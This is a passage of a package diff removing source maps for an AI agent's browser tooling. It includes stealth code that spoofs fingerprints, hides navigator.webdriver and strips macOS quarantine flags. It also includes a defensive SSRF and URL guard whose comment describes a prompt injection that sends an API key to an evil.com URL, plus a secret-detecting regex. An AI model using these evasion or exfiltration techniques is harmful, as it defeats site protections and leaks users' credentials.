');\n}\n"],"mappings":";;;;;;;;;;;;;;;;;;AAkBA,SAAgB,2BAA2B,MAAc,WAA2B;AAClF,KAAI,KAAK,UAAU,UAAW,QAAO;CAGrC,IAAI,SAAS,KAAK,YAAY,MAAM,UAAU;AAC9C,KAAI,UAAU,EAEZ,QAAO,GAAG,KAAK,MAAM,GAAG,UAAU,CAAC;CAKrC,MAAM,cAAc,KAAK,IAAI,GAAG,SAAS,IAAK;CAC9C,MAAM,QAAQ,KAAK,MAAM,aAAa,OAAO,CAAC,MAAM,KAAK;CAEzD,IAAI,eAAe;CACnB,IAAI,cAAc;AAElB,MAAK,IAAI,IAAI,MAAM,SAAS,GAAG,KAAK,GAAG,KAAK;EAC1C,MAAM,OAAO,MAAM;EACnB,MAAM,SAAS,KAAK,OAAO,KAAK;AAEhC,MAAI,UAAU,KAAK,UAAU,GAAG;AAC9B,kBAAe;AACf;;AAEF,iBAAe,KAAK,SAAS;;CAG/B,MAAM,YAAY,KAAK,MAAM,GAAG,aAAa;CAC7C,MAAM,aAAa,KAAK,MAAM,KAAK,CAAC;CACpC,MAAM,aAAa,UAAU,MAAM,KAAK,CAAC;AAGzC,QAAO,GAAG,UAAU,4BAA4B,WAAW,MAAM,WAAW,UAFvD,aAAa,WAEiE;;;;;;;AAQrG,SAAgB,sBAAsB,cAAsB,SAAyB;CACnF,MAAM,QAAQ,aAAa,MAAM,KAAK;CACtC,MAAM,aAAa,MAAM;CAEzB,IAAI,YAAY;CAChB,IAAI,cAAc;CAClB,IAAI,aAAa;CACjB,IAAI,aAAa;AAEjB,MAAK,MAAM,QAAQ,OAAO;EACxB,MAAM,UAAU,KAAK,WAAW;AAChC,MAAI,QAAQ,WAAW,UAAU,IAAI,QAAQ,WAAW,UAAU,CAAE;AACpE,MAAI,QAAQ,WAAW,YAAY,IAAI,QAAQ,WAAW,YAAY,CAAE;AACxE,MAAI,QAAQ,WAAW,aAAa,IAAI,QAAQ,WAAW,aAAa,IACpE,QAAQ,WAAW,eAAe,IAAI,QAAQ,WAAW,cAAc,CAAE;AAC7E,MAAI,QAAQ,WAAW,SAAS,IAAI,QAAQ,WAAW,SAAS,CAAE;;CAGpE,MAAM,QAAQ,CAAC,SAAS,WAAW,aAAa,WAAW,QAAQ;CACnE,MAAM,SAAmB,EAAE;AAC3B,KAAI,YAAY,EAAG,QAAO,KAAK,GAAG,UAAU,QAAQ;AACpD,KAAI,cAAc,EAAG,QAAO,KAAK,GAAG,YAAY,UAAU;AAC1D,KAAI,aAAa,EAAG,QAAO,KAAK,GAAG,WAAW,SAAS;AACvD,KAAI,aAAa,EAAG,QAAO,KAAK,GAAG,WAAW,SAAS;AACvD,KAAI,OAAO,SAAS,EAClB,OAAM,KAAK,gBAAgB,OAAO,KAAK,KAAK,GAAG;AAGjD,QAAO,MAAM,KAAK,MAAM"}

package/dist/src/browser/stealth.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"stealth.js","names":["osPlatform"],"sources":["../../../src/browser/stealth.ts"],"sourcesContent":["/**\n * Stealth launch utilities for anti-detection browser automation.\n *\n * Provides argument deduplication, fingerprint seed generation, and\n * macOS quarantine attribute removal. Shared by CloakBrowser provider\n * and enhanced local launch paths.\n */\n\nimport { exec } from 'node:child_process';\nimport { stat, chmod } from 'node:fs/promises';\nimport { platform as osPlatform } from 'node:os';\nimport { promisify } from 'node:util';\n\nimport { createLogger } from '../utils/logger.js';\n\nconst execAsync = promisify(exec);\nconst log = createLogger('BrowserStealth');\n\n// ── Stealth launch args ─────────────────────────────────────────────────────\n\nexport interface StealthOptions {\n  /** Timezone to emulate (e.g. \"America/New_York\"). */\n  timezone?: string;\n  /** Locale to emulate (e.g. \"en-US\"). */\n  locale?: string;\n  /** Public IP for WebRTC leak prevention. */\n  webrtcIp?: string;\n  /** Platform to emulate in fingerprint (e.g. \"windows\", \"macos\"). */\n  fingerprintPlatform?: string;\n}\n\n/**\n * Default Chromium args that reduce automation detectability for CloakBrowser.\n * Does not include `--no-sandbox` — CloakBrowser rejects it with an infobar warning.\n */\nconst BASE_STEALTH_ARGS = [\n  '--disable-blink-features=AutomationControlled',\n  '--disable-infobars',\n  '--disable-dev-shm-usage',\n  '--disable-background-networking',\n  '--disable-default-apps',\n  '--disable-extensions-except=',\n  '--disable-sync',\n  '--metrics-recording-only',\n  '--no-first-run',\n];\n\n/** Flags CloakBrowser does not support (shown as unsupported infobar if passed). */\nconst CLOAK_UNSUPPORTED_FLAGS = new Set(['--no-sandbox', '--disable-setuid-sandbox']);\n\n/** Strip sandbox flags before passing user extraArgs to CloakBrowser. */\nexport function filterCloakBrowserExtraArgs(extraArgs: string[] = []): string[] {\n  return extraArgs.filter((arg) => !CLOAK_UNSUPPORTED_FLAGS.has(arg.split('=')[0] ?? arg));\n}\n\n/**\n * Build stealth launch args with deduplication.\n * User `extraArgs` override any default args with the same `--key=` prefix.\n */\nexport function buildStealthArgs(\n  extraArgs: string[] = [],\n  options: StealthOptions = {},\n): string[] {\n  const argsMap = new Map<string, string>();\n  const positionalArgs: string[] = [];\n\n  // Insert defaults\n  for (const arg of BASE_STEALTH_ARGS) {\n    const eqIdx = arg.indexOf('=');\n    if (eqIdx >= 0) {\n      argsMap.set(arg.slice(0, eqIdx), arg);\n    } else {\n      positionalArgs.push(arg);\n    }\n  }\n\n  // Optional geo/locale/fingerprint args\n  const fingerprintPlatform = options.fingerprintPlatform ?? detectFingerprintPlatform();\n  argsMap.set('--fingerprint', `--fingerprint=${generateFingerprintSeed()}`);\n  argsMap.set('--fingerprint-platform', `--fingerprint-platform=${fingerprintPlatform}`);\n\n  if (options.timezone) {\n    argsMap.set('--fingerprint-timezone', `--fingerprint-timezone=${options.timezone}`);\n  }\n  if (options.locale) {\n    argsMap.set('--lang', `--lang=${options.locale}`);\n    argsMap.set('--fingerprint-locale', `--fingerprint-locale=${options.locale}`);\n  }\n  if (options.webrtcIp) {\n    argsMap.set('--fingerprint-webrtc-ip', `--fingerprint-webrtc-ip=${options.webrtcIp}`);\n  }\n\n  // User extra args override defaults (last wins)\n  for (const arg of extraArgs) {\n    const eqIdx = arg.indexOf('=');\n    if (eqIdx >= 0) {\n      argsMap.set(arg.slice(0, eqIdx), arg);\n    } else {\n      positionalArgs.push(arg);\n    }\n  }\n\n  // Collect: positional first, then key=value args (sorted for determinism)\n  const kvArgs = [...argsMap.values()].sort();\n  return [...positionalArgs, ...kvArgs];\n}\n\n/**\n * Basic stealth args for the local Playwright launcher (less aggressive than CloakBrowser).\n * Does not include fingerprint or geo args — just reduces automation signals.\n */\nexport function buildLocalStealthArgs(extraArgs: string[] = []): string[] {\n  const baseArgs = [\n    '--disable-blink-features=AutomationControlled',\n    '--no-sandbox',\n    '--disable-setuid-sandbox',\n  ];\n\n  const seen = new Set<string>();\n  const result: string[] = [];\n\n  // Extra args take priority — process them first to track keys\n  for (const arg of extraArgs) {\n    const key = arg.split('=')[0];\n    if (!seen.has(key)) {\n      seen.add(key);\n      result.push(arg);\n    }\n  }\n\n  for (const arg of baseArgs) {\n    const key = arg.split('=')[0];\n    if (!seen.has(key)) {\n      seen.add(key);\n      result.push(arg);\n    }\n  }\n\n  return result;\n}\n\n// ── Fingerprint seed ────────────────────────────────────────────────────────\n\n/** Generate a timestamp-based fingerprint seed for CloakBrowser. */\nexport function generateFingerprintSeed(): number {\n  return Date.now();\n}\n\n/** Detect the fingerprint platform based on the current OS. */\nfunction detectFingerprintPlatform(): string {\n  const os = osPlatform();\n  switch (os) {\n    case 'darwin': return 'macos';\n    case 'win32': return 'windows';\n    default: return 'windows'; // Linux defaults to windows fingerprint to avoid detection\n  }\n}\n\n// ── macOS quarantine removal ────────────────────────────────────────────────\n\n/**\n * Remove the `com.apple.quarantine` extended attribute from a file or app bundle on macOS.\n * Files downloaded from the internet are tagged with this attribute, causing Gatekeeper\n * to block unsigned binaries. Without this, CloakBrowser silently fails to launch.\n *\n * Non-fatal — logs and returns on any error.\n */\nexport async function removeQuarantineAttr(path: string): Promise<void> {\n  if (osPlatform() !== 'darwin') return;\n\n  // Walk up to find .app bundle root\n  const target = findAppBundle(path) ?? path;\n\n  log.debug({ target }, 'Removing com.apple.quarantine');\n  try {\n    const { stderr } = await execAsync(`xattr -rd com.apple.quarantine \"${target}\"`);\n    if (stderr?.trim()) {\n      log.debug({ stderr: stderr.trim() }, 'xattr stderr (non-fatal)');\n    }\n    log.debug('Quarantine attribute removed');\n  } catch {\n    log.debug('xattr command failed or attribute not set (non-fatal)');\n  }\n}\n\n/** Find the .app bundle root by walking up from an executable path. */\nfunction findAppBundle(executablePath: string): string | undefined {\n  const parts = executablePath.split('/');\n  for (let i = parts.length - 1; i >= 0; i--) {\n    if (parts[i].endsWith('.app')) {\n      return parts.slice(0, i + 1).join('/');\n    }\n  }\n  return undefined;\n}\n\n// ── navigator.webdriver override ────────────────────────────────────────────\n\n/**\n * JavaScript snippet to inject into every new page to hide automation signals.\n * Removes `navigator.webdriver` and patches other detectable properties.\n */\nexport const WEBDRIVER_OVERRIDE_SCRIPT = `\nObject.defineProperty(navigator, 'webdriver', { get: () => undefined });\nif (navigator.plugins.length === 0) {\n  Object.defineProperty(navigator, 'plugins', {\n    get: () => [1, 2, 3, 4, 5],\n  });\n}\nObject.defineProperty(navigator, 'languages', {\n  get: () => ['en-US', 'en'],\n});\nwindow.chrome = window.chrome || {};\nwindow.chrome.runtime = window.chrome.runtime || {};\n`;\n\n// ── Make executable (cross-platform) ────────────────────────────────────────\n\n/** Ensure a binary file has executable permissions (Unix only, no-op on Windows). */\nexport async function makeExecutable(path: string): Promise<void> {\n  if (osPlatform() === 'win32') return;\n  try {\n    const stats = await stat(path);\n    const mode = stats.mode | 0o111; // Add +x for owner/group/others\n    await chmod(path, mode);\n  } catch (e) {\n    const msg = e instanceof Error ? e.message : String(e);\n    log.warn({ path, errorMessage: msg }, `Failed to chmod binary: ${msg}`);\n  }\n}\n"],"mappings":"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"}

package/dist/src/browser/url-policy.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"url-policy.js","names":[],"sources":["../../../src/browser/url-policy.ts"],"sourcesContent":["import { isIPv4, isIPv6 } from 'node:net';\n\n/**\n * Cloud metadata hostnames that are ALWAYS blocked regardless of any config toggle.\n * These are credential-exfiltration targets for SSRF attacks and have zero legitimate\n * agent use cases. Aligned with hermes-agent `_BLOCKED_HOSTNAMES`.\n */\nconst ALWAYS_BLOCKED_HOSTNAMES = new Set([\n  'metadata.google.internal',\n  'metadata.goog',\n]);\n\n/**\n * Cloud metadata / IMDS IPv4 addresses — always blocked regardless of `allowPrivateUrls`.\n * Covers AWS, GCP, Azure, DigitalOcean, Oracle, Alibaba Cloud, and ECS task metadata.\n */\nconst ALWAYS_BLOCKED_IPV4 = new Set([\n  '169.254.169.254', // AWS/GCP/Azure/DO/Oracle metadata\n  '169.254.170.2',   // AWS ECS task metadata (IAM creds)\n  '169.254.169.253', // Azure IMDS wire server\n  '100.100.100.200', // Alibaba Cloud metadata\n]);\n\n/**\n * Regex to detect API keys / tokens embedded in URLs.\n * Catches common prefixes: sk-ant-, sk-, OPENAI_API_KEY=, key=, token=, etc.\n * A prompt injection could trick the agent into navigating to\n * `https://evil.com/steal?key=sk-ant-...` to exfiltrate secrets.\n */\nconst API_KEY_PATTERN =\n  /(?:sk-ant-|sk-[a-zA-Z0-9]{20,}|OPENAI_API_KEY|ANTHROPIC_API_KEY|api[_-]?key\\s*=\\s*[a-zA-Z0-9_-]{20,}|bearer\\s+[a-zA-Z0-9_.-]{20,})/i;\n\n// ── Public API ────────────────────────────────────────────────────────────────\n\n/**\n * SSRF-style guard for browser navigation.\n *\n * Validates: protocol (http/https), no embedded credentials, no private IPs,\n * no cloud metadata endpoints, no API key exfiltration attempts.\n *\n * @param raw URL string from the agent\n * @param options.allowPrivateUrls When true, skip private-IP blocking (cloud metadata still blocked)\n */\nexport function assertBrowserUrlAllowed(\n  raw: string,\n  options?: { allowPrivateUrls?: boolean },\n): void {\n  const parsed = parseAndValidateUrl(raw);\n  assertNotApiKeyExfiltration(raw);\n  assertNotAlwaysBlocked(parsed.hostname);\n  assertNotPrivate(parsed.hostname, options?.allowPrivateUrls ?? false);\n}\n\n/**\n * Check whether a URL targets an always-blocked cloud metadata endpoint.\n * Used for post-redirect verification — the navigate tool checks the *final* URL\n * after redirects, not just the initial one.\n *\n * Returns `true` (= blocked) for:\n * - Hostnames in {@link ALWAYS_BLOCKED_HOSTNAMES}\n * - IPs in {@link ALWAYS_BLOCKED_IPV4}\n * - Any address in the 169.254.0.0/16 link-local range\n */\nexport function isAlwaysBlockedUrl(raw: string): boolean {\n  try {\n    const url = new URL(raw.trim());\n    const host = url.hostname.toLowerCase();\n    if (ALWAYS_BLOCKED_HOSTNAMES.has(host)) return true;\n    if (ALWAYS_BLOCKED_IPV4.has(host)) return true;\n    if (isIPv4(host) && isLinkLocal(host)) return true;\n    return false;\n  } catch {\n    return false;\n  }\n}\n\n/**\n * Check whether a URL contains patterns that look like API keys or tokens.\n * Prevents prompt-injection exfiltration via browser navigation.\n */\nexport function containsApiKeyPattern(raw: string): boolean {\n  try {\n    const decoded = decodeURIComponent(raw);\n    return API_KEY_PATTERN.test(raw) || API_KEY_PATTERN.test(decoded);\n  } catch {\n    return API_KEY_PATTERN.test(raw);\n  }\n}\n\n/**\n * Validate a final URL after redirect — blocks private/internal targets\n * that the original URL may have redirected to.\n *\n * @returns Error message string if blocked, `undefined` if safe.\n */\nexport function checkPostRedirectUrl(\n  finalUrl: string,\n  options?: { allowPrivateUrls?: boolean },\n): string | undefined {\n  if (isAlwaysBlockedUrl(finalUrl)) {\n    return 'Blocked: redirect landed on a cloud metadata endpoint';\n  }\n\n  if (options?.allowPrivateUrls) return undefined;\n\n  try {\n    const url = new URL(finalUrl.trim());\n    const host = url.hostname.toLowerCase();\n\n    if (host === 'localhost' || host.endsWith('.localhost')) {\n      return 'Blocked: redirect landed on localhost';\n    }\n    if (isIPv4(host) && isBlockedIPv4(host)) {\n      return 'Blocked: redirect landed on a private/internal address';\n    }\n    if (isIPv6(host) && isBlockedIPv6(host)) {\n      return 'Blocked: redirect landed on a private/loopback IPv6 address';\n    }\n    if (host.endsWith('.local') || host.endsWith('.internal')) {\n      return 'Blocked: redirect landed on an internal hostname';\n    }\n  } catch {\n    // Malformed final URL — let it through; browser will fail on its own.\n  }\n  return undefined;\n}\n\n// ── Internal helpers ──────────────────────────────────────────────────────────\n\nfunction parseAndValidateUrl(raw: string): URL {\n  let url: URL;\n  try {\n    url = new URL(raw.trim());\n  } catch {\n    throw new Error('Invalid URL');\n  }\n\n  if (url.username || url.password) {\n    throw new Error('URLs with embedded credentials are not allowed');\n  }\n\n  if (url.protocol !== 'http:' && url.protocol !== 'https:') {\n    throw new Error('Only http and https URLs are allowed');\n  }\n\n  if (!url.hostname) {\n    throw new Error('Missing hostname');\n  }\n\n  return url;\n}\n\nfunction assertNotApiKeyExfiltration(raw: string): void {\n  if (containsApiKeyPattern(raw)) {\n    throw new Error(\n      'Blocked: URL contains what appears to be an API key or token. Secrets must not be sent in URLs.',\n    );\n  }\n}\n\nfunction assertNotAlwaysBlocked(hostname: string): void {\n  const host = hostname.toLowerCase();\n  if (ALWAYS_BLOCKED_HOSTNAMES.has(host)) {\n    throw new Error('Blocked: cloud metadata endpoint');\n  }\n  if (ALWAYS_BLOCKED_IPV4.has(host)) {\n    throw new Error('Blocked: cloud metadata address');\n  }\n  if (isIPv4(host) && isLinkLocal(host)) {\n    throw new Error('Blocked: link-local address (cloud metadata range)');\n  }\n}\n\nfunction assertNotPrivate(hostname: string, allowPrivate: boolean): void {\n  const host = hostname.toLowerCase();\n\n  if (host === 'localhost' || host.endsWith('.localhost')) {\n    throw new Error('Blocked: localhost');\n  }\n\n  if (isIPv4(host)) {\n    if (!allowPrivate && isBlockedIPv4(host)) {\n      throw new Error('Blocked: private or non-public IPv4 address');\n    }\n    return;\n  }\n\n  if (isIPv6(host)) {\n    if (!allowPrivate && isBlockedIPv6(host)) {\n      throw new Error('Blocked: private or loopback IPv6 address');\n    }\n    return;\n  }\n\n  if (host.endsWith('.local') || host.endsWith('.internal')) {\n    throw new Error('Blocked: internal hostname');\n  }\n}\n\nfunction isLinkLocal(host: string): boolean {\n  const parts = host.split('.').map((p) => Number(p));\n  if (parts.length !== 4) return false;\n  return parts[0] === 169 && parts[1] === 254;\n}\n\nfunction isBlockedIPv4(host: string): boolean {\n  const parts = host.split('.').map((p) => Number(p));\n  if (parts.length !== 4 || parts.some((n) => !Number.isInteger(n) || n < 0 || n > 255)) {\n    return true;\n  }\n  const [a, b] = parts;\n  if (a === 10) return true;\n  if (a === 127) return true;\n  if (a === 0) return true;\n  if (a === 169 && b === 254) return true;\n  if (a === 192 && b === 168) return true;\n  if (a === 172 && b >= 16 && b <= 31) return true;\n  if (a === 100 && b >= 64 && b <= 127) return true; // CGNAT 100.64.0.0/10\n  return false;\n}\n\nfunction isBlockedIPv6(host: string): boolean {\n  const h = host.toLowerCase().replace(/^\\[|\\]$/g, '');\n  if (h === '::1') return true;\n  if (h.startsWith('fe80:')) return true; // link-local\n  if (h.startsWith('fc') || h.startsWith('fd')) return true; // ULA fc00::/7\n  return false;\n}\n"],"mappings":"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"}

package/dist/src/capabilities/store-connector.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"store-connector.js","names":[],"sources":["../../../src/capabilities/store-connector.ts"],"sourcesContent":["import { createHash } from 'node:crypto';\nimport { isIP } from 'node:net';\n\nimport AdmZip from 'adm-zip';\n\nimport type { Config } from '../config/schema.js';\nimport { installConnectorDefinition } from '../connectors/install.js';\nimport type {\n  ConnectorDefinition,\n  ConnectorInstallInput,\n  ConnectorPermissions,\n} from '../connectors/types.js';\nimport {\n  downloadConnectorStoreZipBuffer,\n  fetchStoreConnectorPackageDetail,\n  listConnectorPackages,\n  resolveSkillsStoreBaseUrl,\n  type SkillsStoreListParams,\n} from '../agent/skills/marketplace/adapters/store/store-api-client.js';\n\ntype JsonRecord = Record<string, unknown>;\n\nexport type StoreConnectorInstallPlan = {\n  packageName: string;\n  version: string;\n  definition: ConnectorDefinition;\n  permissions: ConnectorPermissions;\n  requiresRestart: false;\n};\n\nfunction asRecord(value: unknown, label: string): JsonRecord {\n  if (!value || typeof value !== 'object' || Array.isArray(value)) {\n    throw new Error(`${label} must be an object.`);\n  }\n  return value as JsonRecord;\n}\n\nfunction asString(value: unknown, label: string): string {\n  if (typeof value !== 'string' || !value.trim()) {\n    throw new Error(`${label} must be a non-empty string.`);\n  }\n  return value.trim();\n}\n\nfunction asStringArray(value: unknown, label: string): string[] {\n  if (!Array.isArray(value) || value.some((item) => typeof item !== 'string' || !item.trim())) {\n    throw new Error(`${label} must be an array of non-empty strings.`);\n  }\n  return value.map((item) => item.trim());\n}\n\nconst NPM_PACKAGE_NAME = /^(?:@[a-z0-9][a-z0-9._-]*\\/)?[a-z0-9][a-z0-9._-]*$/;\nconst EXACT_SEMVER = /^v?(?:0|[1-9]\\d*)\\.(?:0|[1-9]\\d*)\\.(?:0|[1-9]\\d*)(?:-[0-9A-Za-z.-]+)?(?:\\+[0-9A-Za-z.-]+)?$/;\n\nfunction assertSafeRemoteUrl(value: unknown): string {\n  const urlString = asString(value, 'Connector MCP endpoint');\n  let url: URL;\n  try {\n    url = new URL(urlString);\n  } catch {\n    throw new Error('Connector MCP endpoint must be a valid URL.');\n  }\n  const hostname = url.hostname.toLowerCase().replace(/^\\[|\\]$/g, '');\n  